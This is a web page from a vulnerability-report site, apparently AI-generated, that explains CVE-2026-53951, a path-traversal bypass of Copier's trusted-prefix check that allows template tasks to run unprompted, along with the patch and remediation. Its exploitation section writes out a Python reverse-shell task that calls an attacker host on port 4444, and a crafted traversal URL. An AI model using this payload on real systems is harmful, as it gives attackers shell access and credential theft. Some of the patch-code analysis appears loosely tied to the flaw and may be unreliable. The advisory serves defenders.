CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-53951

CVE-2026-53951: Trust-Prefix Bypass via Path Traversal leading to Remote Code Execution in Copier

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 20, 2026·6 min read·2 visits

Executive Summary (TL;DR)

Copier's template trust validation fails to normalize repository paths prior to evaluating prefix trust lists, permitting attackers to bypass safety verification prompts and execute arbitrary lifecycle tasks through path traversal payloads.

A security vulnerability in Copier versions 9.5.0 through 9.15.1 allows unauthenticated remote code execution via crafted HTTP requests or local paths containing traversal sequences. The trust-evaluation mechanism compares target repository paths or URLs against trusted prefixes using unnormalized string comparison, while the subsequent fetching mechanism normalizes the path before cloning. Attackers can exploit this asymmetry to bypass security warning prompts and execute arbitrary commands under the local user context.

Vulnerability Overview

Copier is a Python-based library and Command-Line Interface (CLI) application designed for rendering project templates. It supports automated lifecycle hooks, such as executing post-generation tasks, running migrations, and running custom Jinja extensions. To protect users from running untrusted scripts, Copier prompts for confirmation before executing these potentially hazardous functions. Users can suppress these prompts by configuring a list of trusted paths or repository URL prefixes.

In Copier versions 9.5.0 through 9.15.1, the trust-verification mechanism contains a logical defect. The application determines trust by checking if the user-supplied template path starts with a trusted prefix using a simple string comparison. However, when the template is actually fetched, the download engine performs path normalization to resolve relative path segments. This discrepancy in how the path is handled at different stages of the application lifecycle introduces a significant security boundary bypass.

An attacker can construct a malicious template URL that matches a trusted prefix textually but resolves to an attacker-controlled repository through directory traversal sequences. By distributing this crafted URL, the attacker bypasses the trust prompt, leading to silent command execution on the victim's local machine with the privileges of the running shell process.

Root Cause Analysis

The underlying security flaw stems from an validation-versus-execution asymmetry. The prefix verification logic is implemented in copier/_settings.py via raw, unnormalized string prefix checks. The system iterates over the defined trusted prefixes and evaluates whether the input path starts with any of them. The validation code behaves as follows:

$$\text{Validation Phase (Raw String Evaluation)} \neq \text{Fetching Phase (Canonical Normalization)}$$

During the verification phase, an input URL such as https://github.com/trusted-org/../attacker-org/malicious-repo.git matches the prefix https://github.com/trusted-org/ because the evaluation uses simple prefix checking without resolving the path. Consequently, the application marks the source repository as safe, bypassing the user-approval process.

When the application retrieves the template, the fetch component normalizes the path. For local paths, the resolution is performed via pathlib.Path.resolve(), which resolves symbolic links and collapses relative segments. For remote URLs, the underlying fetch wrapper rumdl processes the remote target, removing dot-segments in accordance with RFC 3986 section 5.2.4. This results in the client fetching from https://github.com/attacker-org/malicious-repo.git instead of the trusted repository.

This workflow demonstrates that the sanitization process is deferred until after the access control decision has been made, presenting a classic path traversal bypass (CWE-22) that results in downstream code execution (CWE-94).

Code Analysis

To resolve the path traversal flaw, the underlying transport library rumdl was upgraded from version 0.1.91 to 0.2.5 to enforce strict URL validation and path-segment resolution prior to string verification.

Additionally, multiple adjacent code-level issues were resolved in Copier version 9.15.2 to secure the application. In copier/_tools.py, a parsing flaw in the boolean-casting routine allowed whitespace-only strings to evaluate as truthy, which triggered automated tasks incorrectly. The patch forces string trimming and evaluates blank strings as falsy:

# File: copier/_tools.py
# Before the patch, any non-empty string was evaluated as True.
# After the patch, whitespace is removed and empty strings resolve to False.
 
def cast_to_bool(value: Any) -> bool:
    if isinstance(value, bool):
        return value
    with suppress(AttributeError):
        lower = value.strip().lower()  # Added .strip() to remove leading/trailing whitespace
        if not lower:                  # Explicitly check for empty strings
            return False
        if lower in {"y", "yes", "t", "true", "on"}:
            return True
    return False

The application also updated the way template answers are parsed in copier/_main.py. The updated code restricts how answers paths are resolved, preventing template files located inside subdirectories from writing to unverified paths on the filesystem:

# File: copier/_main.py
# Hardens answers file handling to prevent directory traversal
 
def _render_parts(self, extra_context):
    # ... configuration and rendering logic
    for value in ctx.yield_iterable or ():
        new_context = {**extra_context, yield_name: value}
        rendered_part = self._render_string(part, extra_context=new_context)
        # Ensures only matching relative answer paths are written
        if str(self.answers_relpath) == rendered_part:
            yield self.answers_relpath, new_context
            continue

These modifications collectively block directory traversal vectors, ensuring that both local configurations and remote fetches are evaluated consistently.

Exploitation Methodology

An attack scenario requires that the target user has configured a trusted prefix directory or repository pattern in their Copier configurations. This configuration is stored in the user settings file:

# ~/.config/copier/settings.yaml
trusted_prefixes:
  - "https://github.com/trusted-organization/"

An attacker creates a repository named malicious-template on an external organization profile. The repository contains a configuration file copier.yml configured to trigger tasks upon completion:

# copier.yml inside the malicious template
_tasks:
  - command: python3 -c "import os, socket, subprocess; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(('attacker-controlled-host', 4444)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); p=subprocess.call(['/bin/sh', '-i'])"

The attacker induces the victim to run the template generation command with a crafted URL containing traversal components:

copier copy "https://github.com/trusted-organization/../attacker-organization/malicious-template.git" ./destination

During execution, the prefix evaluation module checks if the string starts with https://github.com/trusted-organization/. Since the condition is satisfied, the application bypasses the interactive security prompt. The fetching module then resolves the dot-segments and retrieves the malicious template, which immediately runs the reverse shell payload with the privileges of the active local user.

Impact Assessment

This vulnerability is classified as High severity, with a CVSS v4.0 score of 8.8. The score reflects high confidentiality, integrity, and availability impacts on both the local environment and downstream systems due to full command execution.

The primary vector is local execution through a remote-fetched template. Although exploitation requires the victim to run the command, the absence of any warning prompt represents a significant security failure in trusted environments.

The attack enables full shell control. If the user running the command has administrative or access permissions to cloud providers, source control management APIs, or production databases, the attacker can leverage the compromised environment to access credentials, exfiltrate private codebases, or compromise continuous integration and deployment pipelines.

Remediation and Mitigation

The primary remediation strategy is upgrading Copier to version 9.15.2 or later. This upgrade addresses the directory traversal vulnerability within the dependency framework and enforces correct path validation.

In environments where upgrading is not immediately possible, security teams can implement operational workarounds to eliminate the attack vector. Users should remove or disable the trusted_prefixes entry inside their global settings file, which forces Copier to prompt for authorization on every execution:

# ~/.config/copier/settings.yaml
# Disable trusted prefixes to enforce user prompts for all tasks
trusted_prefixes: []

Additionally, automated infrastructure workflows should avoid running Copier with configuration-based trust assumptions. Templates should be explicitly pinned to specific cryptographic commit hashes within controlled, private container registries.

Technical Appendix

CVSS Score
8.8/ 10
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
EPSS Probability
0.19%
Top 91% most exploited

Affected Systems

Copier Library and CLI Application

Affected Versions Detail

Product
Affected Versions
Fixed Version
Copier
copier-org
>= 9.5.0, <= 9.15.19.15.2
AttributeDetail
CWE IDCWE-22, CWE-94
Attack VectorLocal / Remote Fetching
CVSS Base Score8.8 (High)
Exploit Statuspoc
KEV StatusNot Listed
Affected Versions>= 9.5.0, <= 9.15.1

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploit Public-Facing Application
Initial Access
CWE-22
Improper Limitation of a Pathname to a Restricted Directory

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Vulnerability Timeline

Copier v9.15.2 released
2026-06-12
GitHub Security Advisory (GHSA-9gmc-jqmh-3rvm) published
2026-07-08
NVD Database record updated
2026-07-10

References & Sources

  • [1]Official GitHub Release (v9.15.2)
  • [2]GitHub Security Advisory (GHSA-9gmc-jqmh-3rvm)
  • [3]National Vulnerability Database (NVD) Record
  • [4]CVE.org Record
  • [5]Core Commit (v9.15.1 -> v9.15.2 Release)
  • [6]Subsequent dependency update (rumdl 0.2.5)

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 3 hours ago•GHSA-P77J-G7H5-R2VW
8.8

GHSA-P77J-G7H5-R2VW: Tier-0 Security Hardening in GeoLens

GeoLens before version 1.2.4 contains multiple critical-tier security vulnerabilities including improper authorization in metadata access, tile cache scope leakage, dataset title enumeration, weak default credentials, and denial of service via STAC POST search.

Amit Schendel
Amit Schendel
3 views•6 min read
•about 4 hours ago•CVE-2026-55694
7.1

CVE-2026-55694: Chained Information Disclosure and IDOR in Snipe-IT EULA Management

CVE-2026-55694 is a chained Information Disclosure and Insecure Direct Object Reference (IDOR) vulnerability in Snipe-IT prior to version 8.6.3. The vulnerability allows authenticated, restricted users to completely bypass randomized file-naming security controls, leak the obfuscated filenames of signed End User License Agreements (EULAs), and subsequently download these confidential documents across tenant boundaries.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 5 hours ago•CVE-2026-55703
4.3

CVE-2026-55703: Missing Authorization in Snipe-IT Maintenance Records

Snipe-IT is an IT asset/license management system. Prior to 8.6.3, any activated account can request /maintenances/{id} and read maintenance records for assets in the same company without asset or maintenance permission. app/Http/Controllers/MaintenancesController.php show() renders the record without authorize(), while company-scoped route-model binding only prevents access to other companies. Disclosed fields include asset tags, suppliers, purchase costs, notes, and dates. This issue is fixed in version 8.6.3.

Amit Schendel
Amit Schendel
4 views•5 min read
•about 6 hours ago•CVE-2026-61807
6.3

CVE-2026-61807: Stored DOM-Based Cross-Site Scripting in Snipe-IT

A Stored DOM-based Cross-Site Scripting (DOM XSS) vulnerability exists in Snipe-IT versions prior to 8.6.2. The vulnerability occurs when a stored manufacturer or supplier name is converted to CamelCase and rendered within the 'data-selected-count-id' attribute of a table. Client-side JavaScript retrieves this decoded attribute and performs unsafe string concatenation, passing it directly into jQuery's '.after()' method, enabling authenticated attackers to execute arbitrary JavaScript in the victim's session.

Alon Barad
Alon Barad
3 views•6 min read
•about 7 hours ago•CVE-2026-62673
8.2

CVE-2026-62673: Security Bypass in Grav CMS via Case-Sensitivity Mismatch

CVE-2026-62673 (also known as CVE-2026-62230 and GHSA-vwg3-w8w3-pc79) is a high-severity security bypass vulnerability in the Grav CMS. It permits unauthenticated remote attackers to circumvent directory and file access policies defined in Apache .htaccess. This flaw allows direct retrieval of sensitive configuration files, system-level credentials, and database equivalents from case-insensitive host filesystems.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 8 hours ago•GHSA-HJWH-XVFW-QRWJ
5.5

GHSA-HJWH-XVFW-QRWJ: Credential Disclosure via Diagnostic Boundaries in mcp-searxng

A credential disclosure vulnerability in the mcp-searxng NPM package prior to version 1.12.0 allows attackers to recover plain-text SearXNG Basic Authentication credentials. The application exposes these credentials via console logs (stderr), MCP logging notifications, validation error messages, and JSON-RPC error responses. This occurs because the application lacks comprehensive sanitization across diagnostic boundaries when credentials are parsed from the SEARXNG_URL environment variable.

Amit Schendel
Amit Schendel
2 views•6 min read